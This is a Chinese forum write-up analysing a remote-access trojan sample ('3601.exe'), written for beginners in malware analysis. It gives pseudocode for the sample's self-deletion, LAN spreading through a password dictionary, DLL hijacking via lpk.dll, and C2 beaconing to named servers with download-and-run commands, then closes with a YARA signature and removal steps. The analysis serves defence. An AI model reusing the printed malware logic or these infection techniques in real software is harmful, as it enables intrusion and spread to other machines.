终于毕业考试完了。经过节奏紧张的培训,一直没有好好分析一个病毒或者一个完整的软件,用了4天时间,分析了一款经典的感染型远控木马,期间因为调试服务,调试 DLL 花费了不少时间。稍后整理完也会首发看雪,在咱们看雪已经潜水1年多了,之前一直觉得没什么有营养的东西可以和大家分享,希望这篇文章能给想分析病毒入门的童鞋带来帮助,水平有限,有不足的地方欢迎指点。
还有个同学跟我一起分析了,我没做流程图,此流程图由年轻帅气可爱的老朱同学赞助:
流程图_start:
病毒首先使用 RegOpenKeyExW 函数读取注册表中【HKEY_LOCAL_MACHINE\system\\CurrentControlset\\services\\Ghijkl Nopqrstu Wxy】
这个键项;如果键项不存在,则创建病毒的系统服务,流程图大体如下:
老朱同学的流程图 _end
病毒名 | 3601.exe |
样本大小 | 72KB |
分析时间 | 2017-5-16 |
MD5: | 96043b8dcc7a977b16a2892c4b38d87f |
加壳情况: | UPX(3.07) |
测试平台 | 虚拟机WIN7 |
使用工具 | OLLYDEBUG+IDA6.8 |
| LordPe |
| 火绒剑 |
病毒母体 | 3601.exe | 96043b8dcc7a977b16a2892c4b38d87f |
|
释放的文件 | vmnfmc.exe | 8a1716b566d20b77c20647d0f760b01c | 随机字母组成 |
释放的DLL | Hra33.dll |
| 资源文件 主要存放2个资源 服务名和病毒EXE |
2.1 主要行为
病毒母体 | 通过创建系统服务 释放文件(随机名称.exe)到系统目录,删除自身.释放的目标EXE以服务的方式开机自启动. |
释放的病毒 | 开启多线程进行 通过局域网共享病毒 连接服务器 进行病毒的自我更新 远程指令 等操作 |
释放的DLL | Hra33.dll 资源文件 主要存放2个资源 服务名和病毒EXE 具有感染文件的功能 |
远程服务器 | Sbcq.f3322.org:9898 www.520123.xyz:9999 www.520520520.org:9426 |
2.1.1 恶意程序对用户造成的危害
将病毒程序通过弱密码感染到局域网主机 at 计划任务
从服务器下载任意EXE程序并运行
从服务器获得任意URL在本地打开
Vmnfmc.exe 释放 C:\WINDOWS\system32\hra33.dll并载入 创建三个线程
遍历到的是EXE文件则拷贝病毒模块文件lpk.dll到该EXE文件的文件目录下进行DLL劫持
如果上面对用户电脑的文件遍历,遍历到的是 RAR 或者 ZIP 格式的压缩包文件,则对压缩包里面的 EXE 文件进行 DLL 劫持,拷贝病毒模块文件 lpk.dll 到压缩包里的 EXE 文件目录下。
如果当前运行的病毒模块不是病毒文件 lpk 的 dll 则动态加载系统的 lpk.dll 并进行 lpk.dll 文件的初始 为 dll 直接转发的方式劫持系统文件 lpk.dll 做准备。
2.2 恶意代码分析
Step 1. 将目标程序载入PEID 查看是 USP 的壳 利用 ESP 定律
脱壳成功
Step 2. 载入 IDA 分析 Main 函数 为方便阅读 以下均是伪代码
WSAStartup(0x202u, &WSAData);
if (Check_Server()) // 判断是否有注册表服务是否存在
{
v7 = 0;
v8 = 0;
ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else // 母体病毒进入 开始初始化
{
Init_virs(
(int)"Ghijkl Nopqrstu Wxy",
(int)"Ghijkl Nopqrstu Wxyabcde Ghij",
(int)"Ghijklmn Pqrstuvwx Abcdefg Ijklmnop Rst");
if (ReName)
{
DeleteSelf();
ExitProcess(0);
}
}
第一次打开病毒文件 会进入 Init_virs
先载入各种操作服务和注册表的函数
GetModuleFileNameA(0u, &Filename, 0x104u);
GetWindowsDirectoryA(&Buffer, 0x104u);
Bufflen = strlen(&Buffer);
if (strncmp(&Buffer, &Filename, Bufflen)) //判断是否需要重新生成一个病毒 名称是随机的
{
charA = Get_Randchar(26u) + 'a';
charB = Get_Randchar(26u) + 'a';
charC = Get_Randchar(26u) + 'a';
charD = Get_Randchar(26u) + 'a';
charE = Get_Randchar(26u) + 'a';
charF = Get_Randchar(26u);
wsprintfA(&strExeName, "%c%c%c%c%c%c.exe", charF + 'a', charE, charD, charC, charB, charA);
mbscat(&Buffer, L"\\");
mbscat(&Buffer, &strExeName);
((void(__stdcall *)(CHAR *, CHAR *, _DWORD))CopyFileA)(&Filename, &Buffer, 0);
memset(&Filename, 0, 0x104u);
mbscpy(&Filename, &Buffer);
ReName = 1;
}
载入服务 修改服务描述 , 修改服务配置 , 开启服务等操作
if (ReName)
{
DeleteSelf();
ExitProcess(0);
}
DeleteSelf()函数实现细节
GetModuleFileNameA(0, &Filename, 0x104u); // 获得当前EXE路径
GetShortPathNameA(&Filename, &Filename, 0x104u);// 获得文件名
GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// 获取CMD的路径
((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, "/c del ");
((void(__stdcall *)(char *, CHAR *))lstrcatA)(&Shellcommand, &Filename);
((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, " > nul");// /c del C:\xxxx\3601_U~1.EXE > nul
v19 = &v26;
v20 = &Buffer;
v16 = '
v18 = 0;
v26 = 'O';
v27 = 'p';
v28 = 'e';
v29 = 'n';
v30 = 0;
v21 = &Shellcommand;
v22 = 0;
v23 = 0;
v17 = 64;
if (ShellExecuteEx(&v16)) // 运行删除自身的指令
{
SetPriorityClass(hProcess, 64u); // 设置线程优先级
hProcessa = GetCurrentProcess();
SetPriorityClass(hProcessa, 256u);
v2 = GetCurrentThread();
SetThreadPriority(v2, 15);
SHChangeNotify(SHCNE_DELETE, SHCNF_PATHA, &Filename, 0);// 删除当前进程的EXE程序
result = 1;
}
这也就完成了 释放新病毒 删除自身的操作
刚刚分析的是病毒第一次运行的操作,现在进入病毒第二次运行的操作。
ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable)
进入回到函数
先设置服务状态 后面加载当前函数需要使用的函数
木马程序主体框架结构:
if (CreatemutexA(0, 0, "Ghijkl Nopqrstu Wxy")&& SetServiceStatus() == 183) // 创建互斥体 存在的话 服务退出
{
exit(0);
}
EnumResource_start(); // 释放DLL资源到C:\WINDOWS\system32\hra33.dll
wsprintfA(&pFileName, "hra%u.dll", '!');
Insert_Result(&pFileName); // 打开hra33.dll 拷贝2个资源到到hra33.DLL 一个是服务名 一个是EXE自身
Load_hra33(); // 加载hra33.dll 具有DLL劫持功能 具体实现 将EXE同目录创建一个LPK.DLL
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Shared_exe_LAN, 0, 0, 0);// 通过密码库 正确的话 就将木马程序 共享局域网
Sleep(500u);
WSAStartup(0x202u, &WSAData);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4051E0, 0, 0, 0);// 接受网络指令 服务器 Sbcq.f3322.org:9898
WSAStartup(0x202u, &WSAData);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_405241, 0, 0, 0);// 接受网络指令 服务器 www.520123.xyz:9999
while (1)
{
dword_409628 = New_Thread((LPTHREAD_START_ROUTINE)sub_40387C, 0);// // 接受网络指令 服务器 www.520520520.org:9426
WaitForSingleObject(0, 0xFFFFFFFF);
CloseHandle(0);
((void(__stdcall *)(_DWORD))closesocket)(0);
dword_401C84 = 1;
Sleep(0x12Cu);
}
先来分析下 Shared_exe_LAN 第一个线程做的事情
首先本地定义一些用户名和常用密码字典
if (!gethostname(&Sysname, 128))
{
v2 = gethostbyname(&Sysname); // 传入当前电脑名称
v3 = v2;
v69 = v2;
if (v2)
{
v70 = 0;
if (*v2->h_addr_list) // 别名不为空
{
memset(&Dst, 0, 0x10u);
memcpy(&v66, *(const void **)v3->h_addr_list, v3->h_length);
strIP = 0;
dword_40961C = 1;
memset(&v11, 0, 124u);
v12 = 0;
v13 = 0;
while (1) // 开始遍历局域网用户 成功则为远程用户添加一个任务 用来执行本机的目标程序
{
dword_409624 = 0;
memset(&strIP, 0, 0x80u);
sprintf(&strIP, "%d.%d.%d.%d", v66, v67, v68, 0);// 得到 "192.168.32.1"
if ("administrator")
{
strBuff = (int *)&strUser;
do
{
if (&dword_409644)
{
strPwdBuff = (int *)&strPwd;
do
{
Sleep(200u);
Check_pwd((int)&strIP, *strBuff, *strPwdBuff);// 传入IP 用户名 密码 通过IPC管道检测
++strPwdBuff;
} while (*strPwdBuff);
}
++strBuff;
} while (*strBuff);
}
Check_pwd 实现细节
总结:这2 个函数 可以循环遍历{局域网IP 通过自身的用户名 密码库} 进行传染
接下来 2、3 、4线程执行的框架指令都差不多,只是连接的服务器不一样。细微区别,其他的都一样,线程 3 用的服务器地址是 BASE64 解密后的地址
创建个线程 该线程成为僵尸线程。
继续深入。
hSocket = Init_connect(); // 网络初始化 连接 返回句柄
g_Socket = hSocket;
if (hSocket != -1)
{
Sock_Control(hSocket, 75); // 设置SOCKET的套接字模式
memset(&Dst, 0, 176u);
Get_SysInfo((int)&Dst); // 获取用户的电脑的操作系统的版本信息、CPU处理的频率和数目信息、系统的内存信息以、使用的网络流量的信息以及用户电脑从启动到现在的上线时间,准备将用户的这些信息发送给病毒作者。
if (Load_hra33() == 1) // 载入DLL
v52 += 2;
v53 += 3;
v54 += 4;
*(_DWORD *)buf = 176;
SwitchNumber = 0x77;
memcpy(SysInfo, &Dst, 176u);
if (send(g_Socket, buf, 184, 0) != -1) // 将信息发送服务器 肉鸡已上线。。
加载 URLDOWNTOFILEA 函数 等待死循环等待服务器的指令
这几个应该是一个自定义的结构体 无法还原 后面会一一用到 现在一个一个分析服务器都会发送哪些指令 来操作客户端
if (SwitchNumber > 6){ //搞事情. }
else { if (SwitchNumber == 6){ //搞事情too. } }
SWTICH 一个一个分析:
Case 5: //我猜测控制全局线程任务 避免损耗过大
case 2、3 都有不少混淆其他只有一个函数是正常的 篇幅有限 举个栗子:
case 2:// 根据网络传输的参数 指定连接某服务器地址 进行TCP连接 发垃圾包 关闭 循环自定义次数 break;
因IDA的BUG SEND没显示出来,这个故事再次告诉我们F5大法也有问题
我猜测这就是传说中的网络攻击器的肉鸡?
case 3://根据网络传输的参数 运行系统路径下指定程序可以带参数 可以指定运行多少次 break;
只有这段代码是有效的 其他的都是垃圾指令 根据功能是来攻击当前机器的用户 ..想想自定义次数打开某个东西。
case 4://等待任务/ break;这个就没啥好看的 作者让用户机器暂时不接受任务。
case 5://猜测是控制全局线程任务 避免损耗过大 全局的BOOL值变量 break;
case 6://关闭互斥体 删除注册表的值 删除自身 break;
case 16://根据网络传输的参数 保存到临时文件 然后打开运行 支持传参运行 break;
URLDOWNTOFILEA函数应该是如下图 IDA手残点错了 把参数给搞没了.^_^
case 18://更新本身病毒 下载 运行 删除自身 break;
case 20://根据网络传输的 URL 打开 IE 浏览器进行弹窗 break;
3.1 提取病毒的特征,利用杀毒软件查杀
Ghijkl Nopqrstu Wxy 的 16 进制字符串为 4768696a6b6c204e6f70717273747520577879
Yara 规则配合 ClamAV:
rule 3601Virs
{
strings:
$my_text_string = "Ghijkl Nopqrstu Wxy"
$my_hex_string = {47 68 69 6a 6b 6c 20 4e 6f 70 71 72 73 74 75 20 57 78 79 }
condition:
$my_text_string or $my_hex_string
}
3.2 手工查杀步骤 查杀思路
通过服务名称"Ghijkl Nopqrstu Wxy" 可以得到服务绑定的 EXE 程序
1. 停止服务
2. 删除注册表的键值
3. 删除服务绑定的EXE windows目录下
4. 找到system系统目录下 hra33.dll 删除
5. 删除所有非system32目录下的lpk.dll
这个病毒不难 但是对于我们这种新手来说 需要花时间就能搞定了 此外 感谢15PB老师们的辛勤栽培!!!
本文由看雪论坛 荒野猎人 原创
你可能对以下内容感兴趣:
更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!
看雪论坛:http://bbs.pediy.com/
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com